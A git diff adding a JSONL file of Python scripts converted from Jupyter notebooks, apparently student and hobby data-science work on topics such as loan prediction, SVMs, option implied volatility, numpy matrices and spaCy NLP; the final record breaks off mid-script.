diff --git "a/5879.jsonl" "b/5879.jsonl" new file mode 100644--- /dev/null +++ "b/5879.jsonl" @@ -0,0 +1,532 @@ +{"seq_id":"1899185934","text":"import numpy as np\nimport pandas as pd\nimport datetime\nfrom ipyparallel import Client\n\nc = Client(profile='mycluster')\nv = c[:]\n\n\ndef pick_and_calculate_angle(rd_num):\n \n import numpy as np\n import pandas as pd\n import datetime\n from ipyparallel import Client\n\n CYCLES = 100000\n \n print('working on round number ' + str(rd_num))\n output_file = '/scratch/andreas/andreas_mixture/results/all_combos' + str(rd_num) + '.txt'\n \n descriptors = pd.read_csv('/scratch/andreas/andreas_mixture/odorDescriptorsFewer.csv')\n descriptors = descriptors.drop(descriptors.columns[0], axis=1)\n \n all_angles = pd.DataFrame(index=range(CYCLES),columns=['ang','mix1','mix2'])\n \n for i in range(CYCLES):\n \n currentMix = descriptors.sample(20,replace=False)\n mix1_sum = currentMix[0:10].sum()\n mix2_sum = currentMix[10:20].sum()\n cur_angle = np.arccos( np.dot(mix1_sum,mix2_sum) / (np.sqrt(np.square(mix1_sum).sum()) * np.sqrt(np.square(mix2_sum).sum())))\n all_angles['ang'][i] = cur_angle\n all_angles['mix1'][i] = currentMix.index[0:10].tolist()\n all_angles['mix2'][i] = currentMix.index[10:20].tolist()\n \n \n\n all_angles[['ang','mix1','mix2']].sort('ang').to_csv(output_file,index=False,header=False)\n\nv.map_sync(pick_and_calculate_angle, range(250))\n","repo_name":"bnmtthws/andreas_mixture","sub_path":"andreas_mixture-parallel-maggot.ipynb","file_name":"andreas_mixture-parallel-maggot.ipynb","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"72411360650","text":"import pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score, confusion_matrix\n\ndf = pd.read_excel('Bike.xlsx')\ndf.head()\n\ndf = df.drop('ID', axis=1)\n\ndf.head()\n\nsns.pairplot(df,hue='Response',palette=\"bright\")\n\nx = df.drop('Response',axis=1)\nx.head()\n\ny = df[['Response']]\ny.head()\n\nplt.scatter(x.iloc[:, 1], c='y', s=50, cmap='autumn')\n\n#NOW, using SVM \nfrom sklearn.svm import SVC\nmodel = SVC(kernel='linear')\nmodel.fit(x,y)\n\nmodel.support_vectors_\n\nplt.scatter(x.iloc[:, 0], x.iloc[:, 1], c='r', s=50, cmap='autumn')\nplt.scatter(model.support_vectors_[:,0],model.support_vectors_[:,1])\n\n# +\nax = plt.gca()\nplt.scatter(x.iloc[:, [0,1,2,3,4,5]].values ,y.values, c='y', s=50, cmap='autumn')\nxlim = ax.get_xlim()\nylim = ax.get_ylim()\n\nxx = np.linspace(xlim[0], xlim[1], 30)\nyy = np.linspace(ylim[0], ylim[1], 30)\nYY, XX = np.meshgrid(yy, xx)\nxy = np.vstack([XX.ravel(), YY.ravel()]).T\nZ = model.decision_function(xy).reshape(XX.shape)\n\nax.contour(XX, YY, Z, colors='k', levels=[-1, 0, 1], alpha=0.5,\n linestyles=['--', '-', '--'])\n\nax.scatter(model.support_vectors_[:, 6], model.support_vectors_[:, 1], s=100,\n linewidth=1, facecolors='none', edgecolors='k')\nplt.show()\n# -\n\n\n\n\n\nfrom sklearn.model_selection import train_test_split\nxtrain, xtest, ytrain, ytest = train_test_split(x,y,test_size=0.3, random_state=50)\n\nxtrain.shape\n\nytrain.shape\n\nxtest.shape\n\nytest.shape\n\nlr = LogisticRegression()\n\nlr.fit(xtrain,ytrain)\n\nlr.coef_\n\npred = lr.predict(xtest)\npred\n\naccuracy_score(ytest,pred)\n\nconfusion_matrix(ytest,pred)\n\n# ### Implementing SVM on ktm data\n#\n\nfrom sklearn.svm import SVC\n\nsv = SVC()\n\nsv.fit(xtrain, ytrain)\n\npredsv = sv.predict(xtest)\n\npredsv\n\naccuracy_score(predsv, ytest)\n\nconfusion_matrix(predsv, ytest)\n\n# 1. Understand the working of support vector Regressor\n# 2. Understand the working of kernels.\n\n\n","repo_name":"Aryanka/Data_science_blog.github.io","sub_path":"Machine learning models/Logistic Regression/Logistic_Regression-Copy2.ipynb","file_name":"Logistic_Regression-Copy2.ipynb","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"37039543447","text":"# +\nimport numpy as np\nimport os\n\nnp.random.seed(42)\n\n# %matplotlib inline\n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nplt.rcParams['axes.labelsize'] = 14\nplt.rcParams['xtick.labelsize'] = 12\nplt.rcParams['ytick.labelsize'] = 12\n\nPROJECT_ROOT_DIR = \".\"\nCHAPTER_ID = \"HAR\"\nIMAGE_PATH = os.path.join(PROJECT_ROOT_DIR,\"images\",CHAPTER_ID)\n\ndef save_fig(fig_id,tight_layout=True,fig_extension=\"png\",resolution =300 ):\n path = os.path.join(IMAGE_PATH,fig_id+\".\"+fig_extension)\n print(\"Saving figure\",fig_id)\n if tight_layout:\n plt.tight_layout()\n plt.savefig(path,format=fig_extension,dpi = resolution)\n\n\n# +\nimport pandas as pd\n\ncol_names = ['Ph1', 'Ph2', 'Ir1', 'Fo1', 'Fo2', 'Di3', 'Di4', 'Ph3', 'Ph4', 'Ph5', 'Ph6', 'Co1', 'Co2', 'Co3', 'So1', 'So2', 'Di1', 'Di2', 'Te1', 'Fo3', 'Resident1', 'Resident2']\nhouse1 = pd.read_csv(\"house1.csv\")\n# -\n\nhouse1\n\nimport numpy as np\nm = house1.rows\nhouse1['day'] = house1.index.tolist()\nhouse1['day'] = (house1['day'])/ 86400 + 1\nhouse1['day'] = house1['day'].apply(np.floor)\nhouse1['weekday'] = (house1['day'] -1) % 7 +1\nhouse1 = house1.drop('Unnamed: 0',1)\n\n\nhouse1\n\nhouse1.to_csv('house1.csv', index=False)\n","repo_name":"vinay-004/MachineLearning","sub_path":"Support Vector Machine/DataNew.ipynb","file_name":"DataNew.ipynb","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"71052888333","text":"from py_vollib.black_scholes import black_scholes as bs\nfrom dateutil.relativedelta import relativedelta\nfrom datetime import date\nimport math\n\n\ndef implied_vol(S, K, T, r, V, flag = 'c', tol = 0.0001):\n \"\"\"Compute the implied volatility\n S: stock price \n K: strike price\n T: maturity\n r: risk-free rate\n V: option price\n tol: tolerance\n \"\"\"\n max_iter = 200\n vol_min = 0\n vol_max = 1\n \n if bs(flag, S, K, T, r, 0) > V:\n print(\"BS-price with vol = 0.0% is\", bs(flag, S, K, T, r, 0).round(1), \", which is higher than\", V)\n return -1\n while(bs(flag, S, K, T, r, vol_max) < V):\n vol_max = vol_max * 2\n \n for k in range(max_iter):\n vol_mid = (vol_max + vol_min) / 2\n \n bs_mid = bs(flag, S, K, T, r, vol_mid)\n \n if abs(bs_mid - V) < tol:\n break\n if bs_mid < V:\n vol_min = vol_mid\n else:\n vol_max = vol_mid\n return vol_mid \n\n\n# +\nS = 275.33\nK = 300\nV = 27.8\n\nr = 0.015\n\nstart_date = date(2022, 9, 25)\nend_date = date(2023, 1, 20)\nT = (end_date - start_date).days/365\n\nimplied_vol(S, K, T, r, V, flag = 'c', tol = 0.001)\n# -\n\n\n","repo_name":"okaymathias/quant_utils","sub_path":"implied_vol.ipynb","file_name":"implied_vol.ipynb","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"21470407176","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + [markdown] id=\"rtBrwN-Aexbo\"\n# Given a list of n lists, write a function which returns the intersection of all the n lists. Each list can have any number of elements.\n#\n# Example 1:\n#\n# ```\n# input = [[5, 5, 5, 8, 10], \n# [5, 5, 7, 8], \n# [5, 5, 8, 9, 11]]\n# ```\n#\n# ```\n# output = [5, 5, 8]\n# ```\n#\n# Example 2:\n#\n# ```\n# input = [[5, 6], \n# [5, 5, 7, 8], \n# [5, 5, 8, 9]]\n# ```\n#\n#\n# ```\n# output = [5]\n# ```\n\n# + id=\"xs_sJ8omRlrH\"\ninput = [[5, 5, 5, 8, 10], \n [5, 5, 7, 8], \n [5, 5, 8, 9, 11]]\n\n\n# + id=\"8xr-iIqnzxXP\"\ndef findSmallestList(listoflists):\n minlenlist =listoflists[0]\n minlen = len(listoflists[0])\n for list_ in listoflists:\n if (len(list_)list_.count(key):\n freqOfSmallestList[key] = list_.count(key)\n return freqOfSmallestList\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"u9eQOmLlAu6c\" outputId=\"3f979869-c5d0-4d4b-e5be-15e892cd692b\"\nfinalfreqDict = findIntersectingList(input,freqOfSmallestList)\nfinalfreqDict\n\n\n# + id=\"olcKKWoBAkpQ\"\ndef createIntersectingList(finalfreqDict):\n IntersectingList = []\n for key,value in finalfreqDict.items():\n IntersectingList = IntersectingList + [key]*value\n return IntersectingList \n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"oV0LUKYUBkgc\" outputId=\"9639ed24-1837-4ebd-a055-752fddfbda71\"\ncreateIntersectingList(finalfreqDict)\n","repo_name":"ZainDataS/Guided_Projects","sub_path":"Guided_Project_Intersection_of_Lists.ipynb","file_name":"Guided_Project_Intersection_of_Lists.ipynb","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"71565181476","text":"# +\nimport csv\nimport cv2\nimport numpy as np \nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense\nimport matplotlib.pyplot as plt\n\nlines=[]\nwith open(\"data/driving_log.csv\") as logs:\n reader = csv.reader(logs)\n for line in reader:\n lines.append(line)\nlines = lines[1:]\nlines[0]\n# -\n\nimages = []\nmeasurements = []\nfor i,line in enumerate (lines):\n source_path = line[0]\n filename = source_path.split('/')[-1]\n current_path = \"data/IMG/\" + filename\n image = cv2.imread(current_path)\n images.append(image)\n measurements.append(float(line[3]))\n \n\n# +\n\n\nX_train = np.array(images)\ny_train = np.array(measurements)\nprint(X_train.shape)\nprint(y_train.shape)\nplt.imshow(X_train[1])\n# -\n\nmodel = Sequential()\nmodel.add(Flatten(input_shape=(160, 320, 3)))\nmodel.add(Dense(1))\nmodel.compile(loss='mse', optimizer='adam')\nmodel.fit(X_train, y_train, epochs=7, validation_split=0.2, shuffle=True)\nmodel.save('model.h5')\n\n\n","repo_name":"yacin-hamdi/udacity_nd_self_driving_car","sub_path":"CarND-Behavioral-Cloning-P3/Untitled1.ipynb","file_name":"Untitled1.ipynb","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"13169739753","text":"# # Loan Prediction\n\n# ### Importing the required libraries\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\n# %matplotlib inline\nwarnings.filterwarnings('ignore')\n\nloan=pd.read_csv(\"Loan Prediction Dataset.csv\")\nloan.head()\n\nloan.describe()\n\n# ### Imputing null values\n\nloan.info()\n\nloan.isnull().sum()\n\n# +\nloan['LoanAmount']=loan['LoanAmount'].fillna(loan.LoanAmount.mean())\nloan['Loan_Amount_Term']=loan['Loan_Amount_Term'].fillna(loan.Loan_Amount_Term.mean())\nloan['Credit_History']=loan['Credit_History'].fillna(loan.Credit_History.mean())\n\nloan['Gender']=loan['Gender'].fillna(loan.Gender.mode()[0])\nloan['Self_Employed']=loan['Self_Employed'].fillna(loan.Self_Employed.mode()[0])\nloan['Dependents']=loan['Dependents'].fillna(loan.Dependents.mode()[0])\nloan['Married']=loan['Married'].fillna(loan.Married.mode()[0])\n# -\n\nloan.isnull().sum()\n\n# ### Checking for Outliers\n\nbox=['ApplicantIncome','CoapplicantIncome','LoanAmount']\nfig,ax=plt.subplots(1,3,figsize=(25,5))\nfor i,col in enumerate(box):\n sns.boxplot(data=loan,y=col,x='Loan_Status',ax=ax[i])\nplt.subplots_adjust(hspace=2)\n\nloan.head()\n\n# ### Pair plot realtion and distribution plot of ApplicantIncome ,CoapplicantIncome, LoanAmount\n\nsns.pairplot(data=loan,hue='Loan_Status')\n\nsns.distplot(loan['ApplicantIncome'])\n\nsns.distplot(loan['CoapplicantIncome'])\n\nsns.distplot(loan['LoanAmount'])\n\nloan['Loan_Amount_Term']=loan['Loan_Amount_Term']/12\n\nsns.distplot(loan['Loan_Amount_Term'])\n\nsns.distplot(loan['Credit_History'])\n\nloan['Total_Income']=loan['ApplicantIncome']+loan['CoapplicantIncome']\nloan.head()\n\nsns.distplot(loan['Total_Income'])\n\n# ### Outliers Treatment and distribution plot after treatment \n\n# +\nai=np.percentile(loan.ApplicantIncome,[70])[0]\nloan.ApplicantIncome[(loan.ApplicantIncome>(3*ai))]=3*ai\n\ncai=np.percentile(loan.CoapplicantIncome,[75])[0]\nloan.CoapplicantIncome[(loan.CoapplicantIncome>(2.5*cai))]=2.5*cai\n\nla=np.percentile(loan.LoanAmount,[80])[0]\nloan.LoanAmount[(loan.LoanAmount>la)]=la\n\ntic=np.percentile(loan.Total_Income,[75])[0]\nloan.Total_Income[(loan.Total_Income >1.5*tic)]=1.5*tic\n# -\n\nsns.distplot(loan['ApplicantIncome'])\n\nsns.distplot(loan['CoapplicantIncome'])\n\nsns.distplot(loan['Loan_Amount_Term'])\n\n# ### Natural Log Transformation\n\n# #### Transforming into natural logs to high values\n\nloan['ApplicantIncomeLog']=np.log(loan['ApplicantIncome']+1)\nsns.distplot(loan['ApplicantIncomeLog'])\n\nloan['CoapplicantIncomeLog']=np.log(loan['CoapplicantIncome']+1)\nsns.distplot(loan['CoapplicantIncomeLog'])\n\nloan['LoanAmountLog']=np.log(loan['LoanAmount']+1)\nsns.distplot(loan['LoanAmountLog'])\n\nloan['Loan_Amount_term_Log']=np.log(loan['Loan_Amount_Term']+1)\nsns.distplot(loan['Loan_Amount_term_Log'])\n\nloan['Total_Income_Log']=np.log(loan['Total_Income']+1)\nsns.distplot(loan['Total_Income_Log'])\n\n# ### Plotting the Correlation of the dataset\n\ncorr=loan.corr()\nplt.figure(figsize=(15,10))\nsns.heatmap(corr,annot=True)\n\nloan.columns\n\ncol=['ApplicantIncome','CoapplicantIncome','LoanAmount','Loan_Amount_Term','Loan_ID','Total_Income','Married','Gender']\nloan=loan.drop(columns=col,axis=1)\n\nloan.head()\n\n# ### Using Label Encoding and One hot encoding\n\nfrom sklearn.preprocessing import LabelEncoder\nencode=LabelEncoder()\nloan['Dependents']=encode.fit_transform(loan['Dependents'])\n\nloan.columns\n\n# ### Making dummy variables \n\n# +\nedu = pd.get_dummies(loan['Education'], prefix='Education')\nemp = pd.get_dummies(loan['Self_Employed'],prefix='Self_Employed')\narea = pd.get_dummies(loan['Property_Area'], prefix='Property_Area')\nstatus = pd.get_dummies(loan['Loan_Status'], prefix='Loan_Status')\n\nloan = pd.concat([loan,edu,emp,area,status],join='outer', axis=1)\n# -\n\nloan.drop(['Education','Self_Employed','Property_Area','Loan_Status'],axis=1,inplace=True)\n\nloan.columns\n\nloan.head()\n\nloan.drop(['Education_Not Graduate','Self_Employed_No','Loan_Status_N'],axis=1,inplace=True)\n\nloan.head()\n\nx=loan.drop(columns=['Loan_Status_Y'],axis=1)\ny=loan['Loan_Status_Y']\n\n# ### Splitting train and test variables\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.20,random_state=0)\n\n# ### Making Clasification Report ,\n# ### Checking accuracy Score,\n# ### Cross Validation Score\n\nfrom sklearn.metrics import classification_report\ndef pred(model,x,y):\n x_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.20,random_state=0)\n model.fit(x_train,y_train)\n pre=model.predict(x_test)\n print(classification_report(y_test,pre))\n print(\"Accuracy is \",model.score(x_test,y_test)*100)\n score=cross_val_score(model,x,y,cv=5)\n print(\"Cross Validation is\",np.mean(score)*100)\n\n\n# ### Using Logiestic Regression that gives the best result \n\nfrom sklearn.linear_model import LogisticRegression\nmodel1 = LogisticRegression()\npred(model1, x, y)\n\nfrom sklearn.ensemble import RandomForestClassifier\nmodel3=RandomForestClassifier(n_estimators=100,min_samples_split=25,max_depth=7,max_features=1)\npred(model3,x,y)\n\nfrom sklearn.metrics import confusion_matrix\ny_pred=model3.predict(x_test)\n\nfrom sklearn.metrics import plot_confusion_matrix\nplot_confusion_matrix(model3, x_test, y_test)\n\nfrom sklearn.naive_bayes import GaussianNB\nmodel5=GaussianNB()\npred(model5,x,y)\n\nloan.head()\n\n\n# ### Function for prediction \n\ndef loan_prediction(model):\n dep=int(input(\"No. of Dependencies: \"))\n ch=float(input(\"Enter your credit History: \"))\n inc=float(input(\"Enter the Income of Applicant: \"))\n coinc=float(input(\"Enter the Income of Co-applicant: \"))\n amount=float(input(\"Enter the amount of Loan: \"))\n term=float(input(\"Enter the duration of loan: \"))\n total=inc+coinc\n eg=np.uint(input(\"Enter 1 if Graduate else 0: \"))\n se=np.uint(input(\"Enter 1 if you are self-employed else 0: \"))\n ru_y=np.uint(input(\"Enter 1 if you live in rural area else 0: \"))\n su_y=np.uint(input(\"Enter 1 if you live in semi-urban area else 0: \"))\n u_y=np.uint(input(\"Enter 1 if you live in urban area else 0: \"))\n \n values=[[dep,ch,inc,coinc,amount,term,total,eg,se,ru_y,su_y,u_y]]\n mod=model.predict(values)\n if mod[0]==1:\n return \"Loan can be sanctioned\"\n else:\n return \"Loan cannot be sanctioned\"\n\n\n# +\nfinal_model=LogisticRegression()\nfinal_model.fit(x,y)\n\ngh=loan_prediction(final_model)\nprint(gh)\n# -\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"shreyash1507/Machine-learning-and-data-analysis","sub_path":"Loan Prediction/Loan Prediction.ipynb","file_name":"Loan Prediction.ipynb","file_ext":"py","file_size_in_byte":6450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"70225235236","text":"import scipy.io\nimport numpy as np\n\n# cd ../data/week1\n\n# ls\n\nfef = scipy.io.loadmat('fef_spikes.mat');\n\nfef.keys()\n\nH = fef['H']\nV = fef['V']\nspikes = fef['spikes']\n\nH.shape, V.shape, spikes.shape\n\nnunit = spikes.shape[1]\nntrial = H.shape[1]\nntime_point = H.shape[0]\nprint(f\"{nunit} units, {ntrial} trials, {ntime_point} timepoints.\")\n\nu1t1 = spikes[0,0]\nprint(u1t1)\n\nnp.histogram([1, 2, 1], bins=[0, 1, 2, 3])\n\ntimebin = np.linspace(0,550,551)\n\n[spk_bin, _] = np.histogram(u1t1, bins=timebin)\nspk_bin\n\nnp.median(u1t1), np.mean(u1t1)\n\n\n","repo_name":"lanluo9/neuro_quantitative","sub_path":"week1_ex.ipynb","file_name":"week1_ex.ipynb","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"18663230846","text":"# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0y_Vcz40McHz\" outputId=\"382beebb-06d1-4fcb-c330-f4e0e7708d57\"\nimport numpy as np\nA = np.array([\n [1, 2],\n [3, 4]\n])\nB = np.array([\n [5, 6],\n [7, 8]\n])\nprint(\"A:\", A.shape)\nprint(A)\n\nprint(\"B:\", B.shape)\nprint(B, A.shape)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"l0XGOr9YNh9z\" outputId=\"b2bda431-0602-4d78-b9cc-a5572f55ded0\"\nC=A+B\nD=A-B\nE =A/B\nF = A*B\n\nprint(E)\nprint(F)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"im64H-J6NxS3\" outputId=\"e8c0ae18-e997-4b00-d8a2-50751a7cd2bf\"\nresult = A.sum()\nprint(\"result is:\", result)\n\n# + id=\"2Cnvro1EN3a3\"\n# Explore what is vector norm and how to calculate using numpy, Also explore where to use it\n\n# + id=\"qF-bNskwN-2J\"\n# Explore Eigen Calues and Eigen Vectors, and how to calculate using numpy, Also explore where to use it\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"RDNVeMZbON7k\" outputId=\"f76ca2c8-4b30-4f7d-d54b-650482a22774\"\nprint(A.min())\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"s2kpSrgMOUfT\" outputId=\"81b2f5d9-ec9b-414b-a45c-f425b64062d1\"\nprint(A.max())\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"E1VDX6LZOW7R\" outputId=\"bea94db7-21e9-493e-82cc-bcd5185b1f0e\"\nP = np.array([\n [1, 2, 3],\n [4, 5, 6]\n])\n# Q = np.transpose(P)\nQ=P.T #transpose 2nd method\nprint(P)\nprint(Q)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"_ocn9OXgOjd7\" outputId=\"7015c2ce-b632-4a71-911f-93e2a094df5c\"\nR = np.array([\n [1, 2],\n [3, 4]\n])\nR_inv = np.linalg.inv(R)\nprint(R)\nprint(R_inv)\n\n# + id=\"4Nqr3EbSPNcd\"\n# why we use matrix dot product ->mage Processing:\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"eoZIiiBHQdQK\" outputId=\"2af51d45-8d95-41e7-e5df-2ea14302a341\"\nA = np.array([\n [1, 2],\n [3, 4]\n])\nB = np.array([\n [5, 6],\n [7, 8]\n])\nC = np.dot(A, B)\nprint(C)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Dl0IZNGZQlzv\" outputId=\"ba4bd15b-3de1-4c30-fc18-60d9b131c401\"\nA = np.array([\n [4, 3],\n [3, 2]\n])\nA_inv = np.linalg.inv(A)\nprint(A_inv)\nD = np.dot(A, A_inv)\nprint(D)\n\n# + id=\"oTyBdHT5RNz-\"\n\n","repo_name":"Kaur-sukhmani/Python_with_data_science","sub_path":"numpydemo3.ipynb","file_name":"numpydemo3.ipynb","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"21344593430","text":"import spacy\nnlp = spacy.load('en_core_web_sm') # load the english language library (load a model called nlp)\n# this is actually a small language library\n\n# +\ndef tokenize(doc):\n for token in doc:\n print(token.text,token.pos_,token.dep_) # token attributes (e.g. the part of speech)\n\n# reads in the unicode string and parses the sentence into tokens (individual words)\ndoc = nlp(u'My name is Brandon and I have to write a card for my birthday.') # doc holds the processed text\n# nlp() -> the text enters a \"processing pipeline,\" which breaks down the text and conducts a series of operations on it\n\n# tokenization:\ndoc2 = nlp(u\"Tesla's stock is dropping. Oh the horror!\")\ntokenize(doc2)\n# can access specific tokens in the doc object with indexing (doc2[0])\n\n# we can slice the processed string and take certain tokens (e.g. doc[0:3])\n# spacy will convert this to a Span object because we are taking a range of the tokens\n\n# spacy can automatically seperate the string based on sentences\nfor sentence in doc2.sents:\n print(sentence)\n\n# +\n# tokenization is breaking up the sentence into smaller components (e.g. words)\n# this is the fundamental process for understanding the sentence\n# we split by whitespace, then remove characters in the beginning/end, then look at special characters\n\n# /' is the escape character to have an apostrophe in the string\n\nexample = '\"This is an example for Brandon\\'s NLP Task\"'\ndoc = nlp(example)\n\n'''\nfor token in doc:\n print(token)\n'''\n\n# the Doc object is immutable: we cannot reassign or replace any of its tokens\n\n# NAMED ENTITY RECOGNITION:\n\ndoc2 = nlp(u'Apple will build Brandon\\'s horrible factory for the low low price of $56 billion.')\n\n'''\nfor token in doc2: # just the regular printing of tokens\n print(token.text,end=' | ')\n'''\n\nfor entity in doc2.ents: # spacy recognizes the important tokens in the sentence\n print(entity)\n print(entity.label_) # spacy even knows the type of word each entity is (person, place, thing)!!!\n print(str(spacy.explain(entity.label_)))\n print('')\n\nfor chunk in doc2.noun_chunks: # noun chunks (combines the adjectives and the noun that they modify into one noun chunk)\n print(chunk)\n\n# +\nfrom spacy import displacy\n\n# VISUALIZE TOKENIZATION!! This is very similar to the syntax tree that Dylan mentioned the other day\n\ndoc = nlp(u'Apple will build Brandon\\'s factory for the low low price of $56 billion.')\n\ndisplacy.render(doc,style='dep',jupyter=True,options={'distance':110}) # distance is the distance between the tokens in the output\n\n# +\n# this displacy is different from the previous one on tokens\n# it focuses only on the named entities (person, place, thing)\n\ndisplacy.render(doc,style='ent',jupyter=True) # distance is the distance between the tokens in the output\n\n# +\n# HOWEVER, if we want to visualize the tokenization OUTSIDE of jupyter notebook (like a python script), we need the following:\n\n'''\ndoc = nlp(u'Input your sentence here.')\ndisplacy.serve(doc,style='dep')\n'''\n\n# +\n# STEMMING: When we have a base (stem) word and we use it to find variations of that word\n# e.g. if table is our stem, then its variations are tables, tabled, table-ing\n# But stemming is a pretty basic method because we just remove letters from the end of the word until we reach the stem\n# So spacy uses lemmatization instead\n\n# LEMMATIZATION:\n\ndoc = nlp(u\"I am a player playing in a play because I love to play and played yesterday.\")\n\nfor token in doc:\n # \"lemma\" -> the hash (a sequence of digits) for the lemma or true stem\n # \"lemma_\" -> the actual lemma or stem text\n print(f'{token.text:{12}} {token.pos_:{6}} {token.lemma:<{22}} {token.lemma_}') # use f-strings in order to format the output properly\n\n# STOP WORDS:\n# Note: we can add or remove stop words from the nlp vocabulary\n# Note: we can access a specific word in the nlp vocabulary with nlp.vocab['word']\n\n# +\n# PHRASE MATCHING WITH TOKENS\n\nfrom spacy.matcher import Matcher\n\nmatcher = Matcher(nlp.vocab) # pass in the current vocabulary of the nlp object\n\n# Define possible patterns for the phrase \"solar power\" with tokens\n# Each dictionary in the lists below corresponds to one token\n\n# Solarpower\npattern1 = [{'LOWER':'solarpower'}] # if we make the token lowercase, then is it \"solarpower\"?\n\n# Solar-power\npattern2 = [{'LOWER':'solar'},{'IS_PUNCT':True},{'LOWER':'power'}] # if we make the first token lowercase, is it \"solar\"? \n# is the second token a form of punctuation (like a hyphen)? if we make the third token lowercase, is it \"power\"?\n\n# Solar power\npattern3 = [{'LOWER':'solar'},{'LOWER':'power'}] # if we make the first token lowercase, is it \"solar\"? \n# if we make the second token lowercase, is it \"power\"?\n\n# LOWER is the specific attribute, and we can use other attributes\n\nmatcher.add('SolarPower',None,pattern1,pattern2,pattern3) # we add the 3 patterns to the matching object, under the heading \"SolarPower\"\n\ndoc = nlp(u\"The Solar Power industry is amazing. Solarpower continues to increase and we need solar-power objects.\")\n\nfound_matches = matcher(doc) # find the matches in the doc string\n\n# print(found_matches)\n\n# this specific for-loop is from the course documentation (a way to print out the matches)\nfor match_id, start, end in found_matches:\n string_id = nlp.vocab.strings[match_id] # get string representation\n span = doc[start:end] # get the matched span\n print(match_id, string_id, start, end, span.text)\n\n# if we want to adjust the patterns in the matcher object, just remove them\n\nmatcher.remove('SolarPower')\n\n# better patterns for the phrase \"Solarpower\"\npattern1 = [{'LOWER':'solarpower'}]\npattern2 = [{'LOWER':'solar'},{'IS_PUNCT':True,'OP':'*'},{'LOWER':'power'}] # for the second token, we check if it's punctuation. \n# it can be any number of punctuation symbols (e.g., '--' or ' ') because of the 'OP' parameter\n\nmatcher.add('SolarPower',None,pattern1,pattern2) # we add the 2 patterns to the matching object, under the heading \"SolarPower\"\n\ndoc2 = nlp(u\"What is the solar--power that is necessary to have the SolarPower?\")\n\nfound_matches = matcher(doc2)\n\nprint(\"New Pattern Matching:\")\n\n# this specific for-loop is from the course documentation (a way to print out the matches)\nfor match_id, start, end in found_matches:\n string_id = nlp.vocab.strings[match_id] # get string representation\n span = doc2[start:end] # get the matched span\n print(match_id, string_id, start, end, span.text)\n\n# +\n# NEW FORM OF PATTERN MATCHING, USING PHRASES INSTEAD OF TOKENS:\n\nfrom spacy.matcher import PhraseMatcher\n\nmatcher = PhraseMatcher(nlp.vocab)\n\nwith open('nlp_course_notes/TextFiles/reaganomics.txt') as f: # there seems to be an issue with reading in this file\n doc = nlp(f.read())\n\n# ECONOMICS MATCHER\nphrase_list = ['voodoo economics','supply-side economics','trickle-down economics']\n\nphrase_patterns = [nlp(txt) for txt in phrase_list] # convert each phrase in the list into a spacy doc string\n\nmatcher.add('EconomicsMatcher',None,*phrase_patterns) # we need * here because it will pass in each doc in phrase_patterns as a seperate parameter\n\nfound_matches = matcher(doc)\n\nfor match_id, start, end in found_matches:\n string_id = nlp.vocab.strings[match_id] # get string representation\n span = doc[start:end] # get the matched span\n print(match_id, string_id, start, end, span.text)\n","repo_name":"paeb/NLP","sub_path":"nlp_course_3.ipynb","file_name":"nlp_course_3.ipynb","file_ext":"py","file_size_in_byte":7392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"31074681381","text":"# +\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nfrom proj1_helpers import *\nfrom helpers import batch_iter\n\n# +\nDATA_TRAIN_PATH = 'D:/dev/EPFL/Machine Learning/Project 1/Repo/data/train.csv'\n\nY, X, ids = load_csv_data(DATA_TRAIN_PATH)\n\ndf = pd.read_csv(DATA_TRAIN_PATH)\n\n# +\nMISSING_VAL = -999\n\ndef clean_data(x):\n \"\"\" \n This function performs cleaning of the data.\n It replaces missing values in a column with the mean of non missing values in the same column\n \"\"\"\n # This function finds all the missing values in the given vector\n missing = lambda x: np.abs(np.subtract(x, MISSING_VAL)) 